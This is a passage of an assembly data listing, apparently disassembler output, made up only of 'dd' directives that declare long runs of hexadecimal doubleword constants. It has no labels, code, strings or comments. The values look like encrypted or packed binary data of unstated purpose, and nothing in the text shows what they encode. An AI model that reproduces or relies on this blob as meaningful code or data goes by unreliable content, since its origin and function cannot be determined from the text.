983B6C9Eh, 252B0B94h, 946A3E43h, 825B0804h dd 0C5C7B30Ah, 3AB65204h, 91F0C283h, 6D2858C3h, 2893B1A0h dd 0F1E9D912h, 0FD2485h, 0B7F78B8Eh, 66640BB3h, 1AD08489h dd 0E64E41EEh, 92DEF707h, 0DB42EBECh, 6EB4E0E9h, 398E2015h dd 44C503B8h, 0D9C8AD75h, 0ABD51DA8h, 0D4CD8183h, 20782F01h dd 8182A729h, 394968D4h, 46C5D87Bh, 28BB84Ch, 0DC1114EFh dd 0AFC141F9h, 844E377Ah, 0F0FFCF8h, 0E9F97EBAh, 0F2927DD6h dd 0E5558D42h, 9569637h, 4ADE09CAh, 88E5E647h, 4005C7BBh dd 13E9525Bh, 0ADF5984Bh, 65000C3Ah, 7204EBD3h, 68349221h dd 909AFABCh, 0EF880054h, 6E7225EEh, 0F58A5777h, 25EFB118h dd 9A1C4E38h, 0BA2CF01h, 0A583D908h, 5C009FC5h, 68C8BF0Fh dd 0E7274DA8h, 8C653084h, 0A6056843h, 5D663F71h, 0F09ECBCh dd 60CBD88Ah, 3B1F2EC8h, 1EE94D0Bh, 19ADB00Dh, 205981CEh dd 0AB5EB239h, 1B2804C1h, 680B6136h, 0D53A31CDh, 0A52DB265h dd 0BFEC5CCEh, 929624Ah, 68546469h, 0C668B07Dh, 224B36Ah dd 1DE1626h, 0F681AEA0h, 0C490F0B5h, 67702D01h, 0CFE90AC7h dd 0D400D722h, 0C012CC80h, 0C4EC04E4h, 0B151D10Fh, 42F187F0h dd 0F906E1C3h, 34C803E9h, 2073926Ah, 59B573E8h, 0F30A6F61h dd 1E90907h, 422D1520h, 3609DA38h, 7CC28952h, 0CDA03B4Ah dd 2775D09Fh, 42C82F45h, 0C57CABF9h, 0E9C59CB9h, 0A94A1CA8h dd 5A68C08Ch, 44E223h, 29283558h, 4FE962E1h, 489D4DB2h dd 0BCC93E9Bh, 27AD48D3h, 8B8B9119h, 0D6828511h, 0DAEF62A9h dd 60BBBD00h, 0E168F7B6h, 0DFAED0Eh, 0F5C06A8Eh, 76C4F278h dd 0D4BF89B7h, 0DDC30844h, 32D1612Dh, 0F1EBD958h, 2820ED71h dd 0F5009D06h, 11EC4B1Dh, 9531A193h, 8700E159h, 0BA0152FDh dd 0C0FA05B1h, 646ED531h, 4FBDD193h, 0B33913EFh, 7DA47CDCh dd 5C4B2792h, 0E3D4BB68h, 315E6880h, 0B86A633Fh, 5A59018Bh dd 2F58CD26h, 0D09F8120h dd 6C139F2h, 6E2897D0h, 7BB010F9h, 7D40FCB0h, 30DB7FBDh dd 2CB458CEh, 5001B462h, 499AE281h, 30201151h, 0ECC8B297h dd 1AFA9596h, 0FAECE03h, 186AA87h, 88C0EE13h, 3814E9F1h dd 46B412C7h, 2D22D873h, 0E44201A3h, 0CCBFBC64h, 94EE3C22h dd 2402821Bh, 0E1BF35B9h, 1C41DB01h, 141CA008h, 0F0F7C09Dh dd 5264B57Ah, 4EFB10Eh, 28CE4062h, 48BEE9C8h, 408F2FAAh dd 0DBFAF40Fh, 402554D9h, 0EE5F5941h, 0C883B787h, 3022478Fh dd 52E39EDCh, 75B2895Fh, 0E95196B0h, 93B66C32h, 0B3B180E7h dd 2E284B33h, 342D2F7h, 77030FFBh, 0DC43F2B0h, 14EB713h dd 0AF895904h, 2F9429ABh, 0C0FA5F49h, 2112D33h, 297DB645h dd 78105D0h, 50F1D7E9h, 0C4FEECC2h, 0BBF4801Ch, 2858E503h dd 0C1EDC2DDh, 0D7CADE29h, 0C0525E25h, 9E23AF62h, 0D5C080B7h dd 0C32424Dh, 66B2890Fh, 1E0BE593h, 2E8633h, 507A88Eh dd 21582F40h, 0ECED1CC0h, 0EEFD9F16h, 25E980A4h, 0F892BD7Eh dd 61DDD41h, 0B266275Ah, 0A4D89A54h, 5B219D82h, 3063B551h dd 5C81D250h, 9F9B4A6h, 1A541908h, 54BCCAB9h, 59796DC1h dd 30BE356Ah, 0D41D0FDh, 18A9C420h, 1F5E1109h, 83305346h dd 340CE9EDh, 58026384h, 0BCA2E945h, 0B3D2B46Bh, 2D5B6800h dd 5A350092h, 0CA81424Ah, 5D482797h, 0DE85169Eh, 0E94FBFA7h dd 93E195B6h, 1C2814BFh, 0C9BAB012h, 0AB1C3A2Bh, 0FBBC7F97h dd 6BC8BBE0h, 0E90E520Fh, 893955EDh, 82FAC659h, 25397EF8h dd 0CBAD50D1h, 71ADFB16h, 0F2594BFEh, 96A993E5h, 0BF01FEA5h dd 0B6C50D4h, 1475D06Dh, 0B479ED0Dh, 0E9361B0Ah, 0A2063B91h dd 0C102A27h, 43AD8A09h, 8F8A853Ch, 7A585E62h, 0E422C64h dd 0E03C4742h, 3BBD53DFh, 777E6502h, 0DC5FFD31h, 49A120A8h dd 582791BEh, 90770CABh, 0D360F8A1h, 9329F2E3h, 811C65ABh dd 4A973ECCh, 0D82D7BBCh, 64B27616h, 82489495h, 0F0F4438Ah dd 69BD732Dh, 7A2709D5h, 0D3BC20F9h, 1EF166A0h, 0C240CC25h dd 1AC38616h, 1390D310h, 62CEA5Dh, 0C82B5E9Bh, 0C340EB8Eh dd 0E3785E68h, 505200A2h, 88F8B753h, 2030B0FCh, 0D882EFBAh dd 5FD5AA8Ch, 400F519Dh, 0E6F0CEF3h, 0E029832Dh, 9852FE28h dd 75D72721h, 0C3428959h, 1FA761F7h, 0DA269C3Ch, 1531ADADh dd 1E4F2966h, 0C88034E7h, 0B6880F30h, 4AE595DFh, 1C2FFC1Fh dd 9737FC8Ah, 11B6A9C6h, 7BF06884h, 682C6CEEh, 5AD6A1B7h dd 0CDA011E9h, 79BB08C4h, 61056B5h, 0C522DB05h, 0EE40AE34h dd 32727084h, 0EA89ED1h, 0B0D77DF8h, 8AA4F6D3h, 0F9C78E0Fh dd 5FA6698Dh, 55C2881Bh, 0F3A4B9FEh, 0D17A4E83h, 5FA7E907h dd 0A62C0F74h, 39E10AA9h, 2CD7AF4h, 19387EE3h, 848287Fh dd 1D621627h, 0A51E5FDBh, 30E95E60h, 5B202062h, 6641F589h dd 0D4A66A36h, 5CDC0125h, 0CCAF82C9h, 0CB2801A0h, 0B41D6E66h dd 81A9B522h, 592704F6h, 844E6201h, 5A0B39DFh, 9411042Ah dd 595F0B72h, 8B4BC8F1h, 3FC559CEh, 0CA101D24h, 3DFD6809h dd 8D6284FEh, 625807AEh, 925FD2F9h, 3CF61D6h, 0FEEAE50h dd 718E280Ah, 14191DD9h, 1608AEF2h, 0C5B61A3h, 0FC4B3EE2h dd 0F95E0902h, 0D073DF5h, 0BDE4CF82h, 0C8A520A8h, 74304E81h dd 702113C3h, 0E4A7E160h, 8D1FF8EAh, 2D6A2Eh, 5089CBD6h dd 0C1541268h, 0C33A00EBh, 48E8AEC6h, 2AE2959h, 0FD2B33EEh dd 7693802Ch, 15220B2Dh, 818E3DE9h, 0B3015616h, 6119012Bh dd 2EE96552h, 0CF80F450h, 3BA99E4Bh, 0B7DF7073h, 9E0453A9h dd 3BA5AD14h, 4B2AFE6h, 37C85A48h, 838059A5h, 0BAD67D2Dh dd 81C2B753h, 559BD501h, 4D6E26C9h, 0DADE6BA5h, 0E806E909h dd 890443FAh, 5C12CD7h, 516DD7EBh, 705D17BEh, 269C15D2h dd 3108EE2Dh, 66A5AF62h, 86327DD0h, 70274EA7h, 6C55BCB0h dd 334BF4BCh, 0B0C84A31h, 0F15BE90Ch, 9BB8CE4h, 55B465D3h dd 0FD249889h, 0BDCFBFB3h, 0A5265924h, 4CCEBDFCh, 0E5599F96h dd 53D96825h, 0D202BBE0h, 0EA1DBE9Ah, 0A619D68Fh, 0C80E5C01h dd 2694418h, 2A24DE7h, 8B5D8868h, 0E984F656h, 0D75109F7h dd 0BFA8151Eh, 69FF03E9h, 6AFE0947h, 272EF49Dh, 8AB15263h dd 887A8D7Ch, 0DEF80864h, 42D9226h, 68667EE7h, 211AC184h dd 16033629h, 9327D546h, 0B12EF44h, 0BCD203ECh, 8B00CEE2h dd 5DDD88F1h, 0E10102C7h, 608E393Eh, 2712E039h, 15007E0Ch dd 3BCF57CAh, 0A086120Fh, 0C560F8DCh, 9BBB36C2h, 9D2016C4h dd 74733CABh, 0C4C32DE5h, 9A11BC2Bh, 0E2A6532Eh, 0C9CA5EE9h dd 0E8E89D05h, 0AD5ABDh, 0ABA6C68Fh, 0A42D5B6Ch, 86251836h dd 3F120529h, 8007E7C1h, 7245DC90h, 0F7044976h, 5C852292h dd 372CD1FAh, 0C3530270h, 2C07F4E3h, 0D347D298h, 0FE7F580Bh dd 21BCBEC6h, 0EEDA9359h, 0A5507F21h, 7909926Dh, 845F22E3h dd 1CBB5A5Ah, 3735194Eh, 6B3A21FAh, 0C3C3784Fh, 9F8CE256h dd 0A9F827C4h, 7080BD3Ah, 0E809615Eh, 0C909355Dh, 0D7B4449Ch dd 51779926h, 83E85750h, 6BE54E1Fh, 798CA539h, 0F541680h dd 0BB32A1D0h, 87C26A37h, 0A0BFE161h, 556CCC6Eh, 0FB091CB0h dd 5C7D0878h, 2C602F6Eh, 0E74F8B0Fh, 9B177D12h, 60EBB416h dd 595ACF19h, 51C80100h, 372D6768h, 0B2E5A30Fh, 0FD26751Ah dd 0E30A9FC3h, 0DF4A1068h, 0F60EE8C0h, 0EAE92F46h, 23F53909h dd 10C7C9B8h, 5BFB267Dh, 0EC30B71h, 86298005h, 0F42ED746h dd 430EFD89h, 0BF78987h, 2DF778E2h, 75DC6F29h, 0A0B01CAh dd 0EF45F67Dh, 0A4F53365h, 7E0260E7h, 41491D52h, 20DF6155h dd 8D6197F1h, 0D5D81352h, 6AB79B1Ch, 5720BA57h, 2EC2B36Ah dd 0CE566ACAh, 27B05060h, 2FB490FEh, 0D5D1F4B8h, 4B18B40Fh dd 0C097A385h, 820BDDEEh, 0DDDCC28Bh, 0BC5C75A4h, 0C7B3024Ah dd 0E228E6B5h, 126C63Eh, 1EB15102h, 0C02FC180h, 0F72AE9CBh dd 9B25B5E3h, 9D9D94C9h, 3B9182E9h, 73413644h, 581CA45h dd 0FE24B6D7h, 0C2EBE224h, 0F26852AAh, 0CE2E8B59h, 0EB93C15Eh dd 9F8910ECh, 53C6DEC8h, 644E1B13h, 6D0D8705h, 4BA8F8D4h dd 0CE292D48h, 6F893FD5h, 72761CEAh, 7B762104h, 0BFD7F683h dd 0C9AF73F5h, 8724204Dh, 32BB0C00h, 0F215592Dh, 0D0F73B17h dd 0AB583E81h, 6C89E936h, 5BB0171h, 295D5259h, 5B08D441h dd 84487CD6h, 90237BE9h, 3E8BE538h, 955C543Dh, 25942511h dd 0C92C56F2h, 0B12E28F6h, 0A4208BA6h, 0AE803C27h, 0E979EA24h dd 8395F4A7h, 2BEF5894h, 6812D9Ah, 2B2212E9h, 8B01A8CCh dd 0C710C2C2h, 98D99D18h, 570B0D42h, 5E2F33C7h, 365DD1B3h dd 11BB50C0h, 68B54404h, 89A049E9h, 45BD1D66h, 0E5D10F26h dd 0BDDA7E84h, 0EB032CCFh, 72099F28h, 8759CC29h, 0D1B44188h dd 898144AFh, 0E07F8DD4h, 42925E0Ch, 9459BE27h, 69699905h dd 0F47263D4h, 0BA1A6908h, 0ED322A82h, 0B14FCE77h, 0AA11B4E7h dd 0EF3EE28Bh, 93BCF25Fh, 35B364D1h, 12EBDB20h, 486C0FEh dd 0C976C9DDh, 2002FC2Bh, 0DFF72501h, 0CF8A8D0Fh, 2776CE6Bh dd 694AF989h, 98E31EA7h, 84975E1Dh, 0FE871547h, 0CA1C40D2h dd 0F9B4439Fh, 6182D544h, 2E09B2CEh, 0C5239F40h, 0B9FF2181h dd 138152Ch, 0AE8C182h, 12CF605Fh, 0A4E98056h, 9EE9335Bh dd 968AE9B0h, 5E8FBA9Dh, 0F8396A72h, 6C4AACE9h, 6A953737h dd 0F56248BCh, 8902AD3Bh, 0E34AC0CBh, 582C9007h, 8204A143h dd 0AE719BFDh, 0EE80D85h dd 95ABB1h, 3D7240BDh, 0B6171A50h, 0E86E4707h, 731A8E06h dd 0AB8B8156h, 0F640947Dh, 0B59BC2Eh, 9183E4C0h, 0BB3AB478h dd 0E1E0F350h, 0D89AD6F6h, 0EB4AD1B5h, 7DD0B2D7h, 5680EEE5h dd 7819AB68h, 855E5B54h, 9F1FBBACh, 4653B809h, 4C8C0454h dd 1329282Dh, 551E8100h, 5E0F500Dh, 9C5CF589h, 16422818h dd 681EE976h, 0C1C68Bh, 804EB1D0h, 0CB28AEF1h, 0C12539Ch dd 654E5DBEh, 0E012E358h, 1DC0F5E9h, 4184820Fh, 891CEC03h dd 88F7D0A8h, 4BB3EF00h, 7D4EA81h, 657AE1D6h, 0A6C104BAh dd 0DA210CE5h, 0F84E681h, 1702522h, 88C1BDF3h, 0F2A44F0Ch dd 5C0ED1D1h, 65307EF0h, 90B64723h, 6C3E5D8Bh, 3D2512Ch dd 2810337Eh, 3987A3E1h, 0D525266Bh, 0E3A58A5h, 0F9885BF7h dd 11F73069h, 8D786655h, 87D9755Eh, 0F5E7F5BAh, 0A0F9027Dh dd 0F4BBAE68h, 564D7412h, 20AE9707h, 0D8894B71h, 1E2BCA2Eh dd 654BE62Dh, 6D0C8039h, 9DC1C877h, 4C203478h, 3D5097CBh dd 0B7E68104h, 0BCC18F04h, 0E94806BDh, 5027ECDBh, 2E89B70Ah dd 8288A3Fh, 0F7015DFCh, 7A860FD8h, 0E23E6E25h, 53E90AD5h dd 0CE8CA5C0h, 488C0BD2h, 0AAA47ACDh, 5B520E5Ch, 0E9515130h dd 0D7BD5E76h, 8026F028h, 9258427Eh, 3FEB73AAh, 0EAC07E1Ch dd 33C28105h, 61CC24E8h, 0AC31977Fh, 0F752B2B6h, 985D1542h dd 90EA29B8h, 0CC2C4E32h, 0F14FF659h, 68CCA501h, 0CC6F554Bh dd 33905ED4h, 0BF8084F4h, 13270C4Ch, 0E4BA477Dh, 1420E65Fh dd 3B11663h, 5257594Ch, 0B9B02168h, 0E92D5A17h, 0EBB96B96h dd 0F735026Dh, 5BBE7399h, 0FEE9E563h, 3E32EEFh, 140DF8D3h dd 8095D6ADh, 4F8F6799h, 2D7EF589h, 98EED878h, 1FB25D2h dd 646A69C2h, 0A40726Fh, 0B05585Dh, 0E0D35E01h, 51FAB068h dd 4327ADA7h, 0B5BC6E9h, 7478472Fh, 560DC24Ch, 5D047D09h dd 0D5CB57h, 4120C6BDh, 0A15F5578h, 6907D7AAh, 0AADF8A09h dd 170A1154h, 79BC1C4Fh, 38F32817h, 0CE2749D1h, 1CA9BD00h dd 0BB1A6601h, 80F9793Ch, 2E8E9530h, 25B4C213h, 8825BD0h dd 9B14E7Dh, 61EE235Ch, 195A5301h, 3BE3DAF1h, 12FFE28Dh dd 0F27F9F6h, 3F556841h, 1316E77Bh, 224904E9h, 683B005Ch dd 9D2AEF30h, 12027D63h, 19742664h, 4DFC0B09h, 2891A82h dd 8DA955A0h, 7E2EB957h, 0CBA20AEEh, 1A470957h, 0DA1E5F22h dd 438669Dh, 0B44BA468h, 0D081BE57h, 132CFAB2h, 0DB6C49D6h dd 815EF0A4h, 4685C6Dh, 2DD082ABh, 0E9BF0344h, 0A26E5835h dd 0BF0526F4h, 0F02BBF09h, 0BEFB08Fh, 49943014h, 45F772F8h dd 0CF88BB08h, 26E65C05h, 12460D2Eh, 3C2AE38Ah, 0B329C0BAh dd 48E52570h, 0C140D3ADh, 6A7911E9h, 4310528Ch, 4D95FA5h dd 0C3957D79h, 0D8316813h, 1316D00Eh, 0EE0954BCh, 27575C87h dd 966A16E5h, 0DDEB8B44h, 55E0CCE6h, 72F8E92Dh, 0C5D232FAh dd 0A761F759h, 935F2868h, 0A5DDD2B2h, 0E9590E5Ch, 223A5EC9h dd 48FFBFE5h, 933929B2h, 3DFB2739h, 0BE5EF22Fh, 850F58D0h dd 586DC869h, 0AAE916CEh, 52E48C2Eh, 454EFCB0h, 0E9F89480h dd 0FB13BA93h, 0B0A6112Dh, 3194C220h, 6D6AC4FEh, 109376FBh dd 5FA2A8F9h, 0CB20EAC4h, 0D1F73B53h, 0A9D0A996h, 7527111Ch dd 8200B05Ch, 0F6E1E380h, 525E66D3h, 380B115h, 21DD6853h dd 43B2973Ch, 9312550Fh, 15626259h, 81770970h, 451ED6CCh dd 206FA12Bh, 8F2CF33h, 0F269802h, 0FCE40587h, 50AB51FBh dd 5BF588B8h, 0C968F1B7h, 19AC8754h, 0D425D309h, 2E89496Bh dd 42C85928h, 54391A19h, 0A8D8512Ch, 1A2C1318h, 0E93E0C08h dd 98B5F80Dh, 2EB8B1B1h, 0F7FB979Bh, 14D311DFh, 3BBB102Ah dd 34904B5Bh, 0F4D05A3h, 18D3468Ch, 60E2545h, 2CF18843h dd 50705CE7h, 0CFC8839h, 754EE9E5h, 6A0B0FBEh, 174B2C30h dd 54A5D78h, 82D08638h, 5EC3AD5h, 4DD2AD99h, 0A81C4053h dd 0DFE35C88h, 0ABAF2F34h, 0B066BB8Ch, 7DA1090Eh, 3FD868E9h dd 40E25C4Eh, 92D5EB8Ah, 223DAB5Dh, 5ECC1F42h, 1DB5428Ah dd 441E22C0h, 41A10982h, 5AF1F51Fh, 0C527E8C1h, 68C0D33Eh dd 6673F727h, 0BA5049DBh, 44FE1Eh, 0EE865901h, 54BE6C0h dd 52172CE8h, 6A16207Eh, 4404656Eh, 4F5AD709h, 0D2A7C0BFh dd 12786A5h, 5E1500FEh, 284B162Dh, 0A7761Ah, 59F7B951h dd 0E1811518h, 6F536A1Fh, 0B32DD8A6h, 0C2A8C9DDh, 685A6E82h dd 56A26071h, 0EBF686B5h, 0FB75D459h, 8FFA07Ah, 7B976CFEh dd 0FD8084Fh, 0E004424h, 89A3B8F4h, 9AECB5F0h, 603E830h dd 27503506h, 0BB740136h, 0F6E78B1Fh, 23E9F847h, 0D1E4FC4Ah dd 0C18B9581h, 37006D7Bh, 49276321h, 0ADF13C81h, 600E3C13h dd 7DCDB8E0h, 0E248DB30h, 616F02CEh, 2BDC0C67h, 60F12AC0h dd 840E9F9h, 1F14BB53h, 7222D7Fh, 0B57DDAF3h, 46C2EA45h dd 503058CAh, 0B47D731h, 0B4BB8F0Fh, 89A5087Ch, 45B37D42h dd 7B48DE92h, 2098864h, 275144E9h, 78828497h, 7008557Ch dd 0C0E90907h, 2EE5DA8h, 5F654888h, 0EAC60CD5h, 5A4F0316h dd 59C80177h, 7FE883A9h, 5AE926B4h, 0ACFDC5F2h, 7F5FB110h dd 7739E569h, 0CD8FEA9Eh, 6AB9B2D7h, 50F3D244h, 0BB055A00h dd 1D0A836Eh, 72DC829h, 0EF0B572Ch, 79AFC87Dh, 12FE822Ch dd 0D0460BBCh, 0E0FA007Ah, 0C40F2D51h, 1627AF28h, 0C8BED100h dd 0BF1FC668h, 3053D231h, 8C59820Dh, 31788191h, 0D0703EE2h dd 93061DB3h, 0C7EF8135h, 310B7137h, 0AC140Ah, 992A9AE8h dd 0F951010Fh, 0E90804F8h, 0D6932A15h, 7617F880h, 0A7B0AC4Fh dd 267CB68Dh, 1EB80BFBh, 68C23C79h, 9A752956h, 0D9C55DC3h dd 0B0FAA73Ch, 97E0FE7Bh, 5C93736Dh, 0DD8148FDh, 2860AA68h dd 394B9BBBh, 205E4DACh, 0CA8681Ah, 0BAF1925Bh, 983DB33Ah dd 0FB85040h, 0A66DF358h, 4217C52Ah, 8B5799E9h, 0CD5630A1h dd 0A4D39726h, 584D6841h, 9B807B57h, 0F60A2D20h, 44030D05h dd 0E16A6EB1h, 4A522855h, 1C9433F2h, 0B5C5D062h, 53F6A148h dd 0CAC38828h, 0F05B8B40h, 95A4FF7h, 39DCC756h, 28302C81h dd 71D204F8h, 682E4C38h, 34B9B272h, 882DB781h, 0EBC15BFDh dd 8FF44A4h, 0C6306EBEh, 13BCB753h, 0EEF1F780h, 0E8503E1Fh dd 0A9094D75h, 0FF7D6812h, 1A59C044h, 761E3614h, 0F3E4216h dd 73501983h, 12F4417Dh, 20490301h, 5A5328B1h, 0B8F8A7Ah dd 12BE7CE9h, 0F1AE60EAh, 169C8265h, 8C1D75B1h, 0E869DB4h dd 0CE4E9D0Ah, 0B86C8C20h, 0B3F1A1ACh, 82D1276Eh, 36D66DAAh dd 0BE065060h, 62CD9653h, 63E0E5C1h, 599DECAEh, 0AF87EA02h dd 52132745h, 0CA30E9B6h, 0CED5E925h, 800445B9h, 0B1F20A8h dd 3EF7E8C6h, 22D2B0D4h, 0D5818EF8h, 0EF56E4CBh, 828EDC82h dd 0B28A0FC7h, 0D62586FCh, 0A8B6C84Eh, 0AD2900F5h, 40AE3561h dd 956F74h, 0B5F581C4h, 0EC437A37h, 0AF5F0AEDh, 1F48572h dd 6ECD030Eh, 0CA516101h, 2DCB088Ah, 105CC07h, 31673714h dd 33621F1h, 5BC02908h, 1B4E1768h, 0BF9279FDh, 0FE42A45Eh dd 0F52AA3E9h, 0F126B26Eh, 0D218DB5Eh, 0BA2CD65h, 0C6897A53h dd 0EC095950h, 0DD60CBF0h, 0F78BFC0Fh, 0F88D36C5h, 0DC6F16FFh dd 3B786F3h, 0B95B59E6h, 0F7534DEDh, 0DB09C8F5h, 1A899511h dd 1213EE00h, 1EC15039h, 38B66D62h, 6A59822Ah, 0AFF6E5AEh dd 65A77941h, 0C830E90h, 50C11B4h, 7AE2F7FAh, 128D0809h dd 0CE72AFF8h, 211C41A3h dd 0FA71547Eh, 4BEEFE2Ch, 0EB35C8F7h, 5A17F50Ah, 2D92B88Fh dd 102858EFh, 0E2B7CCE9h, 12B6FDBEh, 54DFB1A9h, 8044BA8Ah dd 12EF5DEEh, 0ADC4086Ch, 0DEF75905h, 8E441EEFh, 2D054240h dd 7D4B80DDh, 0C64E6E9h, 0FBE5BD62h, 6A81A2EBh, 0D7AF8B6Eh dd 0BB3CB905h, 0C59EE245h, 8BC461BAh, 0C03562FDh, 0AE965B4h dd 0EB3B9C1Fh, 0C4A9177h, 15E28E2Bh, 4FB7A5DEh, 33093CE8h dd 91E21A30h, 68F90377h, 0E9BB16C3h, 0A9AC84BFh, 0F9E9B0C3h dd 5DAC9DE3h, 0B180FEC6h, 0CE083CB3h, 34672096h, 9DFAC5EEh dd 0A04F11DBh, 0D0F70196h, 806EBF65h, 4F557CDCh, 0CE4B013Bh dd 5EE9FCE4h, 0EC581E1Eh, 0EF2B15F5h, 89C4A44Eh, 0F1DC7E25h dd 0C4704282h, 0F15E001Bh, 810F3C73h, 41121AE3h, 0AC1F297Bh dd 423830C5h, 0EBD62FFCh, 39CA0E00h, 1733EB3Bh, 960669E9h dd 0D995D91Ch, 0B10BC505h, 21976BC6h, 0EA17DB00h, 0E6DE7F31h dd 649BA85Eh, 2D6C9820h, 0DEA0CF4Eh, 6C03719Fh, 586146B0h dd 75247A90h, 4A56D860h, 0C4BAAC6Bh, 3EB9BCF1h, 0D952E1D3h dd 1CAE0455h, 0A04E2E00h, 265ABD9Eh, 0B2EE8013h, 0C4A26E0Ah dd 0C18A4041h, 0C787387Fh, 54285A6Bh, 0FDA5EF42h, 7470EBD9h dd 20EBD55h, 0E950CA6Ah, 237CD301h, 0A1FC0397h, 40150C75h dd 572C6152h, 0EEAED305h, 21ABE929h, 3AFA2D30h, 12F8C713h dd 0ABE7A117h, 8F04229h, 4C7197F3h, 0E4B8088h, 0C4C0DCF6h dd 58E230EDh, 0F2FCD2F0h, 0CAFE5018h, 3A282C0Ah, 9B045AD0h dd 0BB1421E9h, 44C21A98h, 9009CBD4h, 273BA67h, 0FE0A4C1Fh dd 2B218231h, 0EAE04AE4h, 0ADA2D734h, 0D2051D60h, 0A85B669Dh dd 9F0B68D2h, 18D3165Ah, 416A002Ch, 60CAE14Eh, 791FD090h dd 3D523FC5h, 0CA2A84B1h, 982CD64Bh, 56412568h, 0E9629674h dd 97315428h, 459A05F3h, 0D441BA53h, 307329E3h, 9C61F241h dd 6816C07Dh, 0C6CC4F5Fh, 43101AA6h, 951EF05h, 0A4AD199Fh dd 8BF891F4h, 86CFA4CBh, 401C562Dh, 0F955BED6h, 0DCA162BDh dd 0C6F4493Eh, 25665C50h, 6FA2BB0Fh, 59044A84h, 5B8E80EBh dd 4B4E1E1Ch, 0A23F68A1h, 0A4B284AAh, 0B91FEA17h, 0B866F681h dd 812BD5B4h, 2CBDE976h, 4CB64B85h, 34758A69h, 16799764h dd 3608254Ah, 1C9612EFh, 3578E5B5h, 6B233216h, 0B8C52C1Ch dd 46C049C1h, 1FFD2242h, 94F50144h, 5E2708C5h, 2A7BE5E9h dd 3CB50104h, 282A80AEh, 5AEE2CF0h, 0E9AD0405h, 0F0B2AF75h dd 3844BB02h, 8D8A36DEh, 0CC501691h, 108E1C70h, 262740E9h dd 3F0821FEh, 0C3DE2583h, 0CF800203h, 5F7CE28Eh, 59822BAEh dd 1143E620h, 53004FD2h, 0BED6851h, 591F0F3Eh, 0D3F9AEA0h dd 0F327E917h, 69E45AF0h, 1FDE04D9h, 5E3CF181h, 35E02278h dd 0E3C9CF7Fh, 0D1CA90E4h, 38658165h, 9BEC4BD0h, 24EF0B1h dd 36DC159h, 4D3E5D69h, 1F293413h, 0BE6349EEh, 64EFABDCh dd 0CCEA94C6h, 0DB9D5694h, 0D9680540h, 68CBEB32h, 599CA45Bh dd 24BD7BB7h, 7E8E1024h, 0C42C9807h, 936ED828h, 5EA16A11h dd 0B52DB0h, 811BFD0Bh, 730607E6h, 60F3548h, 6B84D5DCh dd 25E925BAh, 0DBA9C80h, 4A4B728Ch, 989FDB0h, 0C22159C8h dd 1C4B7904h, 2C83EB14h, 60A702F8h, 3E029F15h, 0F7277E76h dd 88ED1668h, 144BD513h, 0CF8BD7A1h, 69765908h, 2F0CD058h dd 0D17C5677h, 29AA0800h, 4A3D8D0Fh, 0D2C3E9BEh, 5984B505h dd 10318EBAh, 0B05F9FFBh, 6940FAECh, 68D80A31h, 9E3B7D57h dd 3D2A7E50h, 0E37A20D4h, 254AF0F4h, 9244B635h, 34B274ACh dd 3EA7ABA4h, 0D388530Bh, 54266345h, 70485402h, 0E9EAE80Bh dd 0CDBDD6DFh, 7CABEDEDh, 5C292752h, 36F602FFh, 6157493Ah dd 0CFD1CEh, 0F281060Ah, 7F99589Bh, 0E7D32927h, 681005F9h dd 10D61FC0h, 9FB63BA0h, 2809B151h, 8AB86BCEh, 6454075Eh dd 8211946Eh, 475C6B3Ch, 0AA2EAB4Fh, 4670FA0Dh, 8F61C9B6h dd 3023827Fh, 0A1E9FDCBh, 0F34B3A5Bh, 0F3AAC8C4h, 361724CAh dd 4DD31F4Ch, 6B1A64AFh, 0B47F32B2h, 50117F1h, 0FB06F123h dd 0CBBA2B75h, 68B12743h, 0BABC383h, 29B96F61h, 1BAD9F86h dd 0B2888096h, 574B0049h, 142FB7BFh, 0C7812E01h, 3A183B9Dh dd 0C0D90C86h, 2F25A2EDh, 3BD278Dh, 21DE21EFh, 3C30631Eh dd 0E20216A6h, 69BDE19Ch, 0BF361759h, 5F533C62h, 0DF0BD4C5h dd 0F0DB20EBh, 98D0295Eh, 7E5941B3h, 50B41880h, 7C277EF9h dd 958976CFh, 83412F1Eh, 525629A5h, 6B026726h, 416FE526h dd 0DABE8429h, 4A9AE90Bh, 0E02FF8C4h, 8006A1C1h, 0B22AAA9Ch dd 84E4D020h, 93C8A157h, 3A204161h, 0C657F8F1h, 4CA4B534h dd 28330F6Dh, 0D5CF953Bh, 0F111D23Fh, 8AA02BE8h, 0F020FEBh dd 55AB1807h, 0E56811A2h, 9120305Ah, 83665EEAh, 18D239CAh dd 98740B77h, 99930227h, 0ED6D8807h, 0C1C58025h, 7D9564B1h dd 615C327Dh, 8F81D61Bh, 0FEBF3FB0h, 0FC5CD5E2h, 0E8BD5212h dd 548ED925h, 285AD402h, 1C2045F8h, 0D5B825ABh, 0C7313060h dd 1ACF78FBh, 80FF1EE9h, 464B0E20h, 300CC342h, 0C0BF391Bh dd 0E21E10F7h, 2D4D3658h, 0A560D9A4h, 0CD0C9D68h, 0B0C3FE80h dd 3509B798h, 58F7B50Ah, 5E4CC580h, 2DEA52D9h, 0D7490BB2h dd 5C139015h, 5ED5C9B4h, 301BCF6Ah, 0B050A788h, 92CF909Eh dd 0E2C1281Ah, 135D2F95h, 0E0F89549h, 35802248h, 0C32D1ECBh dd 0C2089763h, 0EBE55DE1h, 22546880h, 585B653Eh, 0D310B231h dd 4C148C1h, 18C4493Ch, 405C4088h, 0B02B862h, 891D6D8Fh dd 97578C2h, 33F6307Fh, 8555A50Bh, 0A120550h, 2C2794A9h dd 0EAE361A3h, 201F74B9h, 0D44FB37Ch, 57B14DE2h, 273B3616h dd 0A5068FBFh, 42EF455Fh, 5AA2685Ch, 9D7766D5h, 7BA8E4Ch dd 53A513B3h, 0C9530855h, 0B10AA528h, 8065BC6Dh, 858AA516h dd 0B84E33C4h, 139CC4A9h, 45A1BCB8h, 0CFF78089h, 6D4A01F8h dd 253E24Fh, 760C6857h, 607D3378h, 2C14F119h, 38D317B2h dd 3A2A398Bh, 5788AA83h, 0A4C7450Eh, 89EF2011h, 95FFBh dd 5B0301DFh, 0B868585Ah, 5BFC3C53h, 0EAAC8344h, 0C85BE110h dd 0E25D21C4h, 0BFED5EF5h, 4E98F67Ch, 685F70DAh, 0CC170A2Ah dd 1131595Ch, 0BD00A1A5h, 21F8740Bh, 0DCA4895Bh, 0CC08049Fh dd 4DA010Ch, 9128ADDh, 0FB40256Ah, 0AF3A2D66h, 0F8011D28h dd 0E90E05D8h, 0F84454A0h, 0A50BDF67h, 95D0509h, 0EBBCF6E1h dd 0F4D9D705h, 0B165D2Fh, 3C0016EFh, 40D315AFh, 0D05B5EE9h dd 0B9FEA90h, 0EE280C28h, 0F82D54EAh, 83EA527Eh, 141C4108h 